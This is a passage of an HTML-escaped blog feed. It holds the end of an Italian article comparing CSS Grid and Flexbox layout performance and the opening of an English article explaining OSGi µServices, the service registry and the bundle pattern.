&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per creare il medesimo layout utilizzando Flexbox oltre ad una modifica della struttura HTML (aggiungendo dei &lt;em&gt;containers&lt;/em&gt; intorno ai componenti) è stato necessario il seguente codice CSS:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-direction&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;column&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.headerContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min-height&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;50px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.mainContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-grow&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.footerContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min-height&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;75px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Questi sono i risultati ottenuti:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/846508f0d5575a58dda99df5394e35c6/b5a09/complexchart.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:73.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;294\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20294\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M207%204v3h14c13%200%2014%200%2014-2l-1-2a633%20633%200%2000-27%201M35%20136v100h354v-72a169734%20169734%200%20000-108V35H35v101m1-97v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v2h57a451%20451%200%200064-2c0%201%2019%202%20115%202h116v-5H36v3m0%207v2h58c57%200%2058%200%2058-2l2-2%201%202c0%202%201%202%20117%202h116v-5H36v3m0%206v2h60a424%20424%200%200062-1l115%201h115v-5H270a1598%201598%200%2000-119%201l-57-1H36v3m0%207v2h55c52%200%2056%200%2056-2h1c0%202%2012%203%2013%201h1l108%201h109l1-2%202-2v2l1%202%202-2%201-1%202-1a6366%206366%200%2000-240%200l-56-1H36v3m0%206v2h39a2796%202796%200%200142%200h270v-2l1-3H253a715%20715%200%2000-142%201l-37-1H36v3m38%204H36v5h52c48%200%2053%200%2054-2h1c0%202%201%202%2013%202l12-1h1l106%201a431%20431%200%2000108-3l2-2a5969%205969%200%2000-254%200H74m-38%209v2h17c16%200%2017%200%2018-2l1-2%201%202c1%203%204%203%203%200l1-2%201%202c1%202%202%202%2031%202h30l1-2c1-2%201-2%201%200-1%203%208%203%209%200%200-3%202-3%202%200l2%202%201-2v-2l2%202c0%202%201%202%20115%202h116v-5H36v3m0%206v2h36l1-2%202-2c1-1-8-1-19-1H36v3m40-1l-1%202-1%201h11a2004%202004%200%200167-2c-1-1-1-1%201-2s1-1-5-1l-9%201h-1l-31-1c-29%200-30%200-31%202m79-1c-1%204%201%204%2010%204%2010%200%2010%200%209-1%200-2%200-2%201-1a4417%204417%200%2000213-1c0-2-1-3-2-1h-1a4078%204078%200%2000-230%200m-119%209v2h16l17-1h1l5%201c4%200%205%200%204-2h1c2%203%2054%203%2054%200h1c0%202%2023%203%2024%201h1l114%201h114v-5H283a1217%201217%200%2000-106%201%20162%20162%200%2000-42%200l-31-1-32%201h-1l-17-1H36v3m0%205v3h24c24%200%2024%200%2023-1%200-2%200-2%201-1%202%202%205%202%2050%202a295%20295%200%200049-1l103%201h102v-5H238a1262%201262%200%2000-156%201c-2-2-13-1-15%201h-1c1-2%200-2-15-2H36v2m273%206c-1%202-3%203-2%201%200-2-7-2-61-2a433%20433%200%2000-62%201%20267%20267%200%2000-54%200c0-2-51-1-51%201h-4c0-2-2-3-2-1l-1%202-1-1c0-1-3-2-17-2H36v5h12c10%200%2011%200%2013-2h1a1171%201171%200%2000125%201%202966%202966%200%2000188%201h13v-5h-12c-9%200-12%200-13%202h-1c1-2-1-2-24-2-21%200-24%200-24%202s-3%201-3-1l-1-2-1%202m-273%208c0%202%200%202%2010%202%208%200%2010%200%2011-2h1c-1%202%201%202%2033%202a151%20151%200%200036-1c0%201%2062%202%2062%200%200-3-2-4-9-4l-8%201h-1a1264%201264%200%2000-124-1H36v3m153-2l2%203%202%201%201-1v-3l2%202v2h192v-5h-37a392%20392%200%2000-43%201%201218%201218%200%2000-119%200m-144%206c-9%200-9%200-9%202v3h116a488%20488%200%2000117-2l2%202%201-2%201-2%201%202c0%203%2022%203%2025%200h2c-1%202%200%202%2022%202%2023%200%2024%200%2023-2l1-2%201%202%202%202%201-2c0-1%200-2%201-1%201%200%202%201%201%202l17%201h18v-2c0-3%200-3-12-3h-17l-4%201h-1l-12-1h-11l-2%201-13-1H196c-2-2-3%201-2%202%202%202%202%202%200%202s-3-1-3-2l-1-2h-40a938%20938%200%2001-82%200H45m-9%209v2h42a224%20224%200%200044-1l54%201c52%200%2053%200%2052-2%200-2%200-2%201-1l2%202%201%201%201-1%201-2c1-1%201-1%202%201v2h152v-5h-18c-18%200-19%200-19%202s-2%203-4%201c-1-2-1-2%201-2a7171%207171%200%2000-269-1H36v3m0%206v3h35a145%20145%200%200036-1h12a520%20520%200%200070-2c1-2%202-1%202%201l1%202c2%200%203-1%202-3v-1l2%202c0%202%201%202%208%202l13-1h8l3%201v-2c-1-1-1-1%201-2s2-1-1-1a239%20239%200%2000-42%200l-41-1c-37%200-40%200-40%202h-1a174%20174%200%2000-49-1l-4-1-5%201h-1l-4-1c-5%200-5%200-5%203m197-2l3%201c2%200%202%200%201%201l-2%202a300%20300%200%200053%200l10%201c9%200%209%200%209-2v-2l1%202%202%202c2%200%202%200%202-2-1-1%200-2%201-2l1%202c-1%202%200%202%2016%202%2015%200%2016-1%2016-2l1-2%201%202%201%202c2%200%203-1%202-3-1-1-1-1%201-1l2-1a473%20473%200%2000-64%200h-57m122%201l-2%203%2018%201h17v-6h-16c-16%200-16%200-17%202m-319%208l1%202%201-1%201-2v2l2%201%202-2%201-2%201%202c0%202%200%202%2033%202h33l-2-2-1-3H75a172%20172%200%2000-35%201c1-1%200-1-1-1-3%200-3%200-3%203m82-1v3h163l1-3%202-2h-28a313%20313%200%2000-23%202l2%201c1%201%200%201-1%201l-5-2c-2-2-4-2-56-2h-55v2m166%201l-2%202h106v-5h-18c-17%200-19%200-19%202%200%201-2%202-21%202l-22-1%2019-1%2022-1c1-1-8-1-31-1h-32l-2%203m-243%204l-3%201%202%202%202%202%201-2c-1-1%200-2%201-2l1%202c0%202%200%202%20111%202a579%20579%200%2000113-2l2%202%202-2v-2l2%203%2056%201h57v-6h-54a405%20405%200%2000-56%201%203288%203288%200%2000-162%202c0%202-3%202-4%200l-1-2H41m-4%208l-1%202%20176%201h176v-5h-57c-57%200-58%200-58%202-1%202-3%203-5%201-1-2-1-2%202-2a7708%207708%200%2000-233%201m-1%207v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/846508f0d5575a58dda99df5394e35c6/c85cb/complexchart.webp 300w,/static/846508f0d5575a58dda99df5394e35c6/e88ff/complexchart.webp 600w,/static/846508f0d5575a58dda99df5394e35c6/92f8c/complexchart.webp 1200w,/static/846508f0d5575a58dda99df5394e35c6/90e3c/complexchart.webp 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/846508f0d5575a58dda99df5394e35c6/5a46d/complexchart.png 300w,/static/846508f0d5575a58dda99df5394e35c6/0a47e/complexchart.png 600w,/static/846508f0d5575a58dda99df5394e35c6/c1b63/complexchart.png 1200w,/static/846508f0d5575a58dda99df5394e35c6/b5a09/complexchart.png 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Lower is better&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/846508f0d5575a58dda99df5394e35c6/c1b63/complexchart.png&quot; title=&quot;Lower is better&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Lower is better&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Da questo benchmark possiamo notare che le performance tra i due algoritmi sono molto simili e quindi non c&amp;#x27;è una netta superiorità di uno rispetto all&amp;#x27;altro. L&amp;#x27;unica vera differenza tra l&amp;#x27;utilizzo di Flexbox e CSS Grid in questo caso è l&amp;#x27;implementazione: in Flexbox è stato necessario aggiungere degli elementi &lt;em&gt;container&lt;/em&gt; attorno ai componenti e questo ha reso il layout particolarmente difficile da intuire leggendo solo il codice, mentre in CSS Grid possiamo intuire il layout direttamente dall&amp;#x27;elemento container.
Il vantaggio principale di CSS Grid rispetto a Flexbox per i layout infatti è lo spostamento del codice, riguardante il layout, dai figli al container, permettendo di avere tutto in unica classe che definisce come devono posizionarsi gli elementi figli e che dimensioni devono avere.&lt;/p&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Analizzando i dati ottenuti possiamo notare come in casi più complessi Flexbox sia più performante, ma possiamo anche notare che in casi più comuni la differenza di performance non é così evidente.&lt;/p&gt;&lt;p&gt;La vera differenza tra l&amp;#x27;utilizzo di Flexbox e CSS Grid é nella quantità del codice:
Il codice per la creazione di un layout complesso in Flexbox è più complesso, dispersivo e richiede più tempo, mentre quella creata con la Grid è molto più rapida, ordinata e semplice.&lt;/p&gt;&lt;p&gt;Molti sviluppatori che nel tempo hanno utilizzato flexbox per creare dei layout si sono ritrovati a demolire e ricostruire lo stesso semplice layout, sia a livello di codice HTML che CSS, per dei cambiamenti nelle specifiche del progetto.
CSS Grid può mettere fine a molte delle difficoltà che si incontrano creando layouts e non richiede alcuno sforzo extra (come l&amp;#x27;aggiunta di una libreria) per essere implementata.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk6 { color: #D7BA7D; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[What are OSGi Remote µServices]]></title><link>https://techblog.smc.itcosa-sono-osgi-remote-services</link><guid isPermaLink="false">https://techblog.smc.itcosa-sono-osgi-remote-services</guid><pubDate>Fri, 31 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are in a historical period of information technology where everyone is crazy about
&lt;strong&gt;Microservices&lt;/strong&gt;. Whoever coined the term a few years ago,
clearly did not know or did not care that the concept of &lt;strong&gt;µServices&lt;/strong&gt;
had already been
&lt;a href=&quot;http://blog.osgi.org/2010/03/services.html&quot;&gt;introduced in 2010&lt;/a&gt; by
&lt;a href=&quot;https://www.linkedin.com/in/pkriens/&quot;&gt;Peter Kriens&lt;/a&gt; (Software Architect at
the &lt;a href=&quot;https://www.osgi.org/&quot;&gt;OSGi Alliance&lt;/a&gt;). His idea is basically that
extracted from his article and which I report below, in which the term &lt;strong&gt;&amp;quot;micro&amp;quot;&lt;/strong&gt;
it actually makes sense.&lt;/p&gt;&lt;blockquote class=&quot;ContainerBleed-module--bleed--xdVv_ BigBlockquote-module--root--6Kp0m&quot;&gt;&lt;div class=&quot;BigBlockquote-module--content--exgDP&quot;&gt;&lt;div&gt;What I am promoting is the idea of µServices, the concepts of an OSGi service as a design primitive. (cit. Peter Kriens)&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Now we are in the situation that we have two terms that are pronounced
the same way but they have a different meaning regarding
implementation! Fortunately we can write them in a different form.&lt;/p&gt;&lt;p&gt;So, we&amp;#x27;ll write about &lt;strong&gt;µServices&lt;/strong&gt; to refer to the small but good ones
Java services, independent and
&lt;a href=&quot;https://en.wikipedia.org/wiki/Cohesion_%20(computer_science)&quot;&gt;cohesive&lt;/a&gt;, which
allow you to achieve the same goals without the overload of
&lt;strong&gt;Microservices&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;To conclude this brief discussion on the terms and then move on to
essentially, I recommend reading the article
&lt;a href=&quot;https://blog.osgi.org/2014/06/software-mixed-with-marketing-micro.html&quot;&gt;Software mixed with marketing: micro-services&lt;/a&gt;
also published by &lt;a href=&quot;https://www.linkedin.com/in/pkriens/&quot;&gt;Peter Kriens&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Throughout this article, I would say to be the continuation of mine
intervention
&lt;a href=&quot;https://bit.ly/slide-musarra-liferay-microservice&quot;&gt;Liferay as Digital Experience Platform in the context of Microservices&lt;/a&gt;
(held at Liferay Boot Camp 2020 Summer Edition), I would like to take you to evaluate the
OSGi framework as a valid solution for the implementation of your
architecture to Microservices.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/kmOGekvzOkg&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To effectively follow the contents of the article, a
minimum knowledge of the OSGi framework, so I can recommend the
reading this brief presentation
&lt;a href=&quot;https://www.slideshare.net/amusarra/osgi-e-liferay-7&quot;&gt;OSGi and Liferay 7&lt;/a&gt; of
2016 held at the Italian User Group of Liferay in Bologna.&lt;/p&gt;&lt;h2 id=&quot;1-osgi-µservices&quot;&gt;1. OSGi µServices&lt;/h2&gt;&lt;p&gt;The OSGi services or µServices are the key concept used to build the foundation of
&lt;strong&gt;modular code&lt;/strong&gt;. At the lowest level OSGi affects the loading of
class; each module (or bundle) has its own class loader. A bundle defines
external dependencies using the directive &lt;strong&gt;Import-Package&lt;/strong&gt;. Only packages
exported explicitly through the &lt;strong&gt;Export-Package&lt;/strong&gt; directive can be used by other
packages.&lt;/p&gt;&lt;p&gt;This level of modularity ensures that only &lt;strong&gt;APIs&lt;/strong&gt; (Java interfaces)
are shared between bundles and &lt;strong&gt;implementation classes&lt;/strong&gt; are
strictly &lt;strong&gt;hidden&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Other bundles can then use the service by searching for it from the interface
of the service. The bundle can use the service using its
interface, but doesn&amp;#x27;t have to know which implementation is being used or who has
provided the implementation. In OSGi this problem is solved by the
&lt;strong&gt;Service Registry&lt;/strong&gt;. The service registry is part of the framework
OSGi. A bundle can register a service in this registry. This will register
an instance of an implementation class in the registry with its interface.&lt;/p&gt;&lt;p&gt;Briefly summarizing, we could say that:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;µServices or services are made up of a series of interfaces and classes
Java registered within the
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.service.html#framework.service.registeringservices&quot;&gt;Service Registry&lt;/a&gt;&lt;/strong&gt;;&lt;/li&gt;&lt;li&gt;a &lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#service.component-components&quot;&gt;component&lt;/a&gt;&lt;/strong&gt;
can be published as a service;&lt;/li&gt;&lt;li&gt;a component may request a service;&lt;/li&gt;&lt;li&gt;the services are registered by
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#d0e41839&quot;&gt;Bundle Activator&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The figure below shows the Service Registry where each bundle can register
own services but also where each bundle can find the services to consume;
we could say that it is a sort of &amp;quot;folder&amp;quot;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:352px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;143\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20143\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M28%2038c-5%202-5%205-5%2025%200%2032-1%2031%2040%2031%2026%200%2028-1%2031-3%204-3%206-7%206-18V63h40l40%201v20h3c3%201%205%200%2010-2l7-4v54h143V94h11l15-1c3%200%209-6%208-7l1-1V41c-3-5-4-5-38-5s-34%200-37%207l-1%2011v8l-10%201h-39l-30-1-21-10-22-11v10c0%208%200%2010-2%2010-3%202-45%201-44%200%202-2%201-10-1-10-3-1-4%200-4%206l1%205h-29l-1-9c-1-17%200-17-38-17-28%200-32%200-34%202m0%202l-3%203v19c0%2020%200%2020%202%2023l3%203h30c32%200%2034%200%2037-5%201-3%202-36%200-40-2-6-4-6-37-6H31l-3%203m281-1c-4%202-5%205-5%2024v18l3%204%204%203h30c39%200%2037%201%2037-25%200-17-1-21-5-24-3-3-60-3-64%200M181%2063l1%2018%2019-9%2019-10-19-9-19-9-1%2019m37%203l-2%203-7%205-7%203v54h139v-14l-1-18v-5h-14c-17-1-19-1-22-8l-2-13v-9h-41c-38%200-42%200-43%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/546f8ba310c0810a7ab2672962a39395/c85cb/osgi-service-registry.webp 300w,/static/546f8ba310c0810a7ab2672962a39395/edd59/osgi-service-registry.webp 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/546f8ba310c0810a7ab2672962a39395/5a46d/osgi-service-registry.png 300w,/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - Registration of services on the registry and use of the same by
of bundles&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png&quot; title=&quot;Figure 1 - Registration of services on the registry and use of the same by
of bundles&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - Registration of services on the registry and use of the same by
of bundles&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The figure below shows the classic &lt;strong&gt;OSGi Service Pattern&lt;/strong&gt; that the
modular applications follow. A typical application therefore consists of:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;a bundle that defines all the APIs (Java interfaces) and the latter are
exported &amp;quot;outward&amp;quot; via the directive
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.module.html#framework.module.exportpackage&quot;&gt;Export-Package&lt;/a&gt;&lt;/strong&gt;;&lt;/li&gt;&lt;li&gt;a bundle that implements the interfaces defined by the API bundle. This
uses the directive
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.module.html#framework.module.importpackage&quot;&gt;Import-Package&lt;/a&gt;&lt;/strong&gt;.
The services implemented are registered in the Service Registry;&lt;/li&gt;&lt;li&gt;a &lt;strong&gt;Client&lt;/strong&gt; (or Consumer) bundle that consumes the services defined by the API.
This uses the &lt;strong&gt;Import-Package&lt;/strong&gt; directive. References to services that
will be consumed are made available thanks to the interaction with the Service
Registry.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:638px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M101%2031c-3%203-3%2011%200%2013%202%202%208%202%2010%200%202-3%202-12%200-14-3-2-8-1-10%201m29-1c-6%203-5%2012%201%2015%205%202%208%200%208-5%200-4%200-4-3-4-4%201-4%202-1%203%202%201%202%203-1%204-5%201-7-8-3-11h8c0-3-4-4-9-2m100%200v9c1%207%202%209%203%204%200-3%201-4%203-4%203%200%205-3%204-6%200-3-9-5-10-3m25%201v1l-1%201c-2%201-2%201-1%203%202%202%202%202%202%206%200%203%200%203%203%203l2-1-1-1c-3%200-3-7%200-7%203-1%203%200%203%204s3%207%205%205c2%200%201-2%200-2-3%200-3-7%200-7%201-1%201-1-1-3-3-3-4-4-4-1-1%202-5%202-5-1h-2M98%2074l-2%202-8%201c-8%200-8%200-8%202s-1%203-4%203c-5%201-13%207-18%2014a97%2097%200%2000-8%20100c5%2010%2014%2021%2019%2022l2%203h2c2-1%202-1%202%201s1%203%2010%203l9%201v10c0%2017%200%2017%2027%2017%2022-1%2023-1%2023-10%201-5%201-5%203-5%205%201%206%201%207-2%200-1%200-2-2-2l-2-1%207-1%206%201-1%201c-2%200-3%200-3%202l-1%201v-2c0-2-2-1-3%200l1%202v1c-1%201-1%201%201%201h3l1%201v1l2-1%201-1%201-